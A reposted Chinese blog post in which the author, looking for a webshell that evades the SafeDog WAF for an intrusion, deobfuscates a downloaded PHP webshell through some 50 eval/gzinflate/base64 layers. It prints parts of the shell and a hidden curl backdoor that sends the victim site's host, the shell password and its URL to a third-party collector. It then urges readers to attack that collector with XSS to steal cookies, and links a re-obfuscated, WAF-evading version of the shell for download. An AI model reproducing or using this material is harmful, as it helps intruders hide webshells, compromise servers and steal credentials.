传送们 http://www.mianshamuma.com/php/12.html
最近遇到个站,有狗,手头没有过狗的大马,于是乎就百度谷歌之,结果就进到了这个站http://www.mianshamuma.com/,
据说是国内最大的收信箱子后门发布站点。然后看到了国外PHP免杀木马(汉化版)http://www.mianshamuma.com/php/12.html。
标题挺强大,不知道是不是标题当党,于是乎就下载下来研究研究,这站不用说,这php脚本肯定有后门,但是不知道什么类型的后门,
也不敢直接上传到目标站点,于是乎哥哥开始了漫长而辛苦的解密之旅。
先打开分析一下吧,
附上一段代码:
#–设置信息–# $login_password=’123′;#登录密码 error_reporting(0); ignore_user_abort(true); set_time_limit(0); ini_set(‘max_execution_time’,’0′);//超时时间 ini_set(‘memory_limit’,’9999M’);//内存限制 ini_set(‘output_buffering’,0);//输出缓存 //免杀加密 eval(gzinflate(base64_decode(‘HJ3HjqRcukXn/SL9SwzwTrq6LbwNvJ+0Au89BPD0l7yTGmRmRQHnO3uvVVDUf/73f/4z1/O//lWc3/6f6mnGsv/uxT/pdysI7L95kU158c+/ZRWV28P49l000q4FMww5yTk/MSsUnQnkEzqEKucIr0WdMHXPNumDkjocupoOUCQIUjjQhyUJr6Cq1Si47DiyKB6qlaQK6b9xO6EweaAIf0hapJMQhT3OtOadCYgyJ4kDw4Kv4uLnCDDTRX5y7EFGp8sUOEBpkWR+rPHTjpnNGJ9lBHdfUVtlFF/rZcvjKrI7PR5yV5eNXDIkzq+2BG7AQTY3+Y5PreGyc526qPHYZusEWmEqkWYN+gaVWCGLmiLYmF2qCVxkB5QeVTZhUM6nihp8c5CFPm69zK9nIa0cPPUh0XdP4r+/LNMQHJrSQ49H4YyfkSoPbEN4D95kwHlM+zumTZiBUMN1EgpFZbT3bi18TYbj+55RnGnI3C1JJ8k5lRT2ZOJJZ/YODf9CE7n/UfNS62Ru9ZSxgvCC35tN4RZXkEzd+IIwNCNbb+XTQlvep0xy7A5Ssow9w1Fp9/2lDos1kwN9c8Dhwb8yU+7d
不必说,一看就是最常见的加密方式,还说什么,解密呗。
于是乎哥哥上传到网站,开始解密,解密方式大家都会,此处不再赘述。
可是,令我没想到的是,解密完第一层,代码还是这种加密方式,继续解密,代码还是依旧这种加密的代码。当我解密到第十次,
有点绝望了,怎么会这样?怎么还是密文呢?难道作者用了不可逆的算法?如果作者用了不可逆的算法,那么解密的第一次的密文
和第二次第三次的密文肯定是相同的,于是乎无对比了一下每次解密出来的密文,都是不一样的,这说明了作者不是用了什么不可
逆的加密算法,最多是多加了几次密而已,于是乎继续解密。。。
可是让我没想到的是,我解密到第三十次,竟然还是密文,还是这种eval(gzinflate(base64_decode(的方式,顿时心生怀疑,难道作者
用了特殊的加密方式,没解密一次都会使生成新的加密代码???如果是这样,那岂不没法解密到明文了?抱着这种想法,我继续解密
,时间已经过去20分钟了,就在我解密到第49次的时候,我已经绝望透顶了,既然如此,就再尝试最后一次,如果第50次还不行的话那
就放弃吧,估计作者真用了什么不可逆的加密方式。山重水复疑无路,就在绝望到底的时候,奇迹出现了,整个脚本的明文出现在了浏
览器里。神哪,终于没辜负我50次的解密操作,明文出来了。
下面附上一段明文:
#–设置信息–# $login_password=’123′;#登录密码 error_reporting(0); ignore_user_abort(true); set_time_limit(0); ini_set(‘max_execution_time’,’0′);//超时时间 ini_set(‘memory_limit’,’9999M’);//内存限制 ini_set(‘output_buffering’,0);//输出缓存 $IP=array();#允许用户 [$IP=array('192.168.100.5','192.168.100.9');] @set_magic_quotes_runtime(0); if(!isset($_SERVER))$_SERVER=&$HTTP_SERVER_VARS; if(!isset($_POST))$_POST=&$HTTP_POST_VARS; if(!isset($_GET))$_GET=&$HTTP_GET_VARS; if(!isset($_COOKIE))$_COOKIE=&$HTTP_COOKIE_VARS; if(!isset($_FILES))$_FILES=&$HTTP_POST_FILES; $_REQUEST = array_merge($_GET,$_POST); if(get_magic_quotes_gpc()){ foreach($_REQUEST as $key=>$value)$_REQUEST[$key]=stripslashes($value); } if(count($IP) && !in_array($_SERVER['REMOTE_ADDR'],$IP))die(‘Access denied!’); function hlinK($str=”){ $myvars=array(‘modE’,'chmoD’,'workingdiR’,'urL’,'cracK’,'imagE’,'namE’,'filE’,'downloaD’,'seC’,'cP’,'mV’,'rN’,'deL’); $ret=$_SERVER['PHP_SELF'].’?'; $new=explode(‘&’,$str); foreach($_GET as $key => $v){ $add=1; foreach($new as $m){ $el=explode(‘=’,$m); if($el[0]==$key)$add=0; } if($add){if(!in_array($key,$myvars))$ret.=”$key=$v&”;}
明文出来了,下面就好办了,直接查找后门,这里给大家科普一下,php脚本加后门的方式基本都是通过curl,这样就直接查找curl,
于是乎很轻松的定位到了后门,下面给大家提出来后门代码:
$servurl=$_SERVER['REQUEST_URI']; $servhost=$_SERVER['HTTP_HOST']; $a=base64_decode(“aHR0cDovL3d3dy5pcDYzOC5jb20vb3BlbmFwcC9zaXRlcmVnLw==”).”/”.base64_encode($servhost).”/”.base64_encode($login_password).”/”.base64_encode($servurl).”/”.base64_encode(“GB2312″).”/”.base64_encode(“php”).”//”; $curl = curl_init(); curl_setopt($curl, CURLOPT_URL,$a); curl_setopt($curl, CURLOPT_HEADER, 1); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); $data = curl_exec($curl); curl_close($curl);
收信地址经过base64编码了,解密出来就是http://www.ip638.com/openapp/sitereg/,哈哈,后门暴露了,大家就用力的插入xss吧,
打他的cookie。
为了过安全狗,我将去除后门的代码重新加密了一下,下面给大家附上下载地址,2种加密方式,测试完全过狗。
去后们过狗php大马的下载地址:http://pan.baidu.com/s/1o66snCu
转自:http://vitian.me/?p=84
转载请注明:jinglingshu的博客 » 黑吃黑之无间道-php脚本变态后门发现之旅